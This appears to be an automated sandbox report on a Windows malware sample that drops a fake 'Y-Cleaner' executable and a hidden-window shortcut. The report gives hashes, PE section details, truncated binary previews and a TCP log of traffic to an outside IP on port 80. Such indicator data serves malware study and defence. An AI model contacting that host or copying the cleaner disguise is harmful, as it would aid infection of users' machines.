SHA1:	4A4945FCFCB498D7B8AC9B2CD0EDEB26DFD810E5
SHA-256:	50FADCBC24764ECC8BEA076BDD6FD8E3BA32865BCCE3BABD02DF65A7837656D1
SHA-512:	34790FFAD56407C220A75A6E54D96A7410745E12507E20729CFB0311B8349501FD57BC0E50ACFA5D884BED0F1CD0A3C096E59F10D93FD4465E0659A17EA8D534
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\AppData\Local\Temp\svtJDfvf364R4G45effw53J7\Bunifu_UI_v1.5.3.dll

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Temp\svtJDfvf364R4G45effw53J7\Y-Cleaner.exe

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1250000
Entropy (8bit):	7.914044333202875
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60:7rPD/8I/8ly+Zrr2h60
MD5:	06BCE98464ED237227246A609B8A2A80
SHA1:	4A4945FCFCB498D7B8AC9B2CD0EDEB26DFD810E5
SHA-256:	50FADCBC24764ECC8BEA076BDD6FD8E3BA32865BCCE3BABD02DF65A7837656D1
SHA-512:	34790FFAD56407C220A75A6E54D96A7410745E12507E20729CFB0311B8349501FD57BC0E50ACFA5D884BED0F1CD0A3C096E59F10D93FD4465E0659A17EA8D534
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\Desktop\Cleaner.lnk

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Icon number=0, Archive, ctime=Thu Dec 12 21:09:06 2024, mtime=Thu Dec 12 21:09:06 2024, atime=Thu Dec 12 21:09:06 2024, length=1250000, window=hide
Category:	dropped
Size (bytes):	2205
Entropy (8bit):	3.8835738484806357
Encrypted:	false
SSDEEP:	24:8a8i2QzgoN3g7ORN+lgKUggsgJ7yALfCefvNm+P9+NO4ZCeLq+Urkh7qyFm:8a88goN30ORYKdRbjvNmU9GZfqbkoyF
MD5:	A81BCF1C6016A3E65C70FA19C864681C
SHA1:	496A69C085055727800A5ED52767D2EB0FE132C8
SHA-256:	DDE70E64644897720FB3C163CEEE855A2B6E4FBDDD4280BE7C2E0895B6EC986A
SHA-512:	85F5D5B427E9BC3F6F673C52C3373F09303502420422FC3FC5EF5B3A40465C535DA806BD985725FA95AEAC461CC2D79A388AA3FD8560BB62C7542AB4B58F2C36
Malicious:	false
Preview:	L..................F.@.. ....^<v.L...^<v.L...^<v.L..........................>.:..DG..Yr?.D..U..k0.&...&......vk.v.....}.K.L....Cv.L......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y......b......................&h.L.o.c.a.l.....N.1......Y....Temp..:......CW.^.Y......l......................c%.T.e.m.p.....z.1......Y!...SVTJDF~1..b......Y!..Y!.....h........................s.v.t.J.D.f.v.f.3.6.4.R.4.G.4.5.e.f.f.w.5.3.J.7.....h.2......Y$. .Y-CLEA~1.EXE..L......Y$..Y$...........................b...Y.-.C.l.e.a.n.e.r...e.x.e.......w...............-.......v.............f].....C:\Users\user\AppData\Local\Temp\svtJDfvf364R4G45effw53J7\Y-Cleaner.exe....M.a.k.e. .y.o.u.r. .P.C. .f.a.s.t.e.r.<.....\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.s.v.t.J.D.f.v.f.3.6.4.R.4.G.4.5.e.f.f.w.5.3.J.7.\.Y.-.C.l.e.a.n.e.r...e.x.e.H.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p

C:\Windows\appcompat\Programs\Amcache.hve

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465260413782726
Encrypted:	false
SSDEEP:	6144:iIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNPdwBCswSbE:HXD94+WlLZMM6YFH1+E
MD5:	79782A6C8ED8163D39D4D3F0031C4853
SHA1:	BFF643C4848F212B3D5AEF97BC5EA3B929E07065
SHA-256:	56C50FBBEA972F96EA64973F1722FF9D9000D049EF33E6AF2A15D282426BC3E3
SHA-512:	DBB5F62F08CBE9FA75FBFBEF7B26117E930B26FC678272909D2111D9614B13C0333D99336846980F410D4188CE57C179BB15029A9249FF3BF29033ECCA6E8680
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...v.L...............................................................................................................................................................................................................................................................................................................................................C.B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.935646747304673
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'948'672 bytes
MD5:	dd44780d69d56d86bd3be9d6ca0f69a9
SHA1:	c9afab3e117153f469723102214a907685a509d6
SHA256:	5cf283b12d73892ee010289b4d554e5b1c7d1aede0a8e6cd0a33415513526b5b
SHA512:	2941a447f343d039f356cd63a009b33f5eb042553143c009a23a4e68e76c59101052fc9a8092f56b81bf61b3c068b3c685c558933a672ec03c0e94fb4b873eff
SSDEEP:	49152:SIdVlhK5Cvfpj1KOtgQ+HVihZbWblzBdB:SILvvRjwOtnbZ0lnB
TLSH:	EE9533DBCC6EE19CD8369E366867CEFBCBC02E15AD6057736441ED1E6C2E6904793220
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!J..@$..@$..@$......@$......@$......@$..._..@$..@%..@$......@$......@$......@$.Rich.@$.........PE..L......d...................

File Icon


Icon Hash:	c7a99a8aa651798c

Static PE Info

General

Entrypoint:	0xc62000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x64DDDE0C [Thu Aug 17 08:45:00 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F1A78F0691Ah
setp byte ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x42105a	0x6e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x40e000	0x12168	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x855aac	0x18	piktqyia
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x40d000	0x25400	22fe1a09310da884bd4897e978868d79	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x40e000	0x12168	0x9400	96428c6a551fb8ea148ea4d211fb869b	False	0.9627586570945946	data	7.892557334800407	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x421000	0x1000	0x200	de906030ab088402d586a76aa6666758	False	0.15234375	data	1.0884795995201089	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x422000	0x295000	0x200	cbd7cc82f94a991aeed90360201da57f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
piktqyia	0x6b7000	0x1aa000	0x1a9a00	a9207a13dde1fc4c2c62e431e83da12d	False	0.9847644777900146	OpenPGP Secret Key	7.942411405734934	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mvvqpdmt	0x861000	0x1000	0x400	178b3be9f6273cfa1d30633a3cfcde52	False	0.7861328125	data	6.0792700714237355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x862000	0x3000	0x2200	5b05c3fc40a1abaaae0d6d8edfd03f7f	False	0.05905330882352941	DOS executable (COM)	0.7194871820017328	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x40e730	0x130	data			1.0361842105263157
RT_CURSOR	0x40e860	0x25a8	data			1.0011410788381743
RT_CURSOR	0x410e08	0xea8	data			1.0029317697228144
RT_ICON	0x855b0c	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Syriac	Syriac	0.3648720682302772
RT_ICON	0x8569b4	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Syriac	Syriac	0.5063176895306859
RT_ICON	0x85725c	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Syriac	Syriac	0.5881336405529954
RT_ICON	0x857924	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Syriac	Syriac	0.619942196531792
RT_ICON	0x857e8c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Syriac	Syriac	0.3574108818011257
RT_ICON	0x858f34	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Syriac	Syriac	0.3536885245901639
RT_ICON	0x8598bc	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Syriac	Syriac	0.40425531914893614
RT_ICON	0x859d24	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Syriac	Syriac	0.7969083155650319
RT_ICON	0x85abcc	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Syriac	Syriac	0.8032490974729242
RT_ICON	0x85b474	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Syriac	Syriac	0.7350230414746544
RT_ICON	0x85bb3c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Syriac	Syriac	0.7774566473988439
RT_ICON	0x85c0a4	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Syriac	Syriac	0.6827800829875519
RT_ICON	0x85e64c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Syriac	Syriac	0.7293621013133208
RT_ICON	0x85f6f4	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Syriac	Syriac	0.7594262295081967
RT_ICON	0x86007c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Syriac	Syriac	0.8111702127659575
RT_DIALOG	0x41c688	0x84	empty			0
RT_STRING	0x41c70c	0x4be	empty			0
RT_STRING	0x41cbcc	0xc4	empty			0
RT_STRING	0x41cc90	0x732	empty			0
RT_STRING	0x41d3c4	0x7bc	empty			0
RT_STRING	0x41db80	0x5f0	empty			0
RT_STRING	0x41e170	0x696	empty			0
RT_STRING	0x41e808	0x7c0	empty			0
RT_STRING	0x41efc8	0x76a	empty			0
RT_STRING	0x41f734	0x610	empty			0
RT_GROUP_CURSOR	0x41fd44	0x22	empty			0
RT_GROUP_CURSOR	0x41fd68	0x14	empty			0
RT_GROUP_ICON	0x8604e4	0x76	data	Syriac	Syriac	0.6779661016949152
RT_GROUP_ICON	0x86055a	0x68	data	Syriac	Syriac	0.7115384615384616
RT_VERSION	0x8605c2	0x1b8	COM executable for DOS			0.5704545454545454
RT_MANIFEST	0x86077a	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
Syriac	Syriac

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 23:08:30.480293989 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:30.600111961 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:30.600215912 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:30.600440025 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:30.720208883 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:32.034440041 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:32.034543037 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:32.048204899 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:32.168771029 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:32.544460058 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:32.544590950 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:32.641680956 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:32.761826038 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.198153019 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.198194027 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.198210955 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.198211908 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.198254108 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.198254108 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.198432922 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.198457003 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.198472977 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.198477030 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.198491096 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.198503017 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.198540926 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.198540926 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.198749065 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.198795080 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.206496954 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.206554890 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.206646919 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.206691027 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.212742090 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.212791920 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.213195086 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.213254929 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.318023920 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.318089962 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.391094923 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.391218901 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.391222954 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.391283035 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.393265963 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.393323898 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.393445969 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.393493891 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.401271105 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.401351929 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.401423931 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.401472092 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.409079075 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.409164906 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.409220934 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.409269094 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.416898966 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.416994095 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.417049885 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.417104006 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.424364090 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.424381971 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.424453974 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.432787895 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.432805061 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.432878017 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.440548897 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.440650940 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.440720081 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.440782070 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.448482990 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.448573112 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.448642015 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.448780060 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.456218004 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.456310987 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.456384897 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.456432104 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.462610006 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.462630987 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.462845087 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.470221043 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.470292091 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.470520020 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.470571041 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.477404118 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.477483034 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.582114935 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.582214117 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.582278967 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.582318068 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.584492922 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.584554911 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.585366964 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.585377932 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.585417986 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.585445881 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.588258028 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.588320017 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.588392019 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.588438034 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.593255997 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.593317032 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.593322992 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.593363047 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.600580931 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.600594044 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.600651979 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.603899956 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.603960991 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.604115963 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.604182005 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.607990026 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.608042002 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.608273029 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.608319044 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.612502098 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.612560034 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.612679005 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.612725019 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.615741968 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.615752935 CET	80	49736	80.82.65.70	192.168.2.4
Dec 12, 2024 23:08:33.615803957 CET	49736	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:08:33.621529102 CET	80	49736	80.82.65.70	192.168.2.4
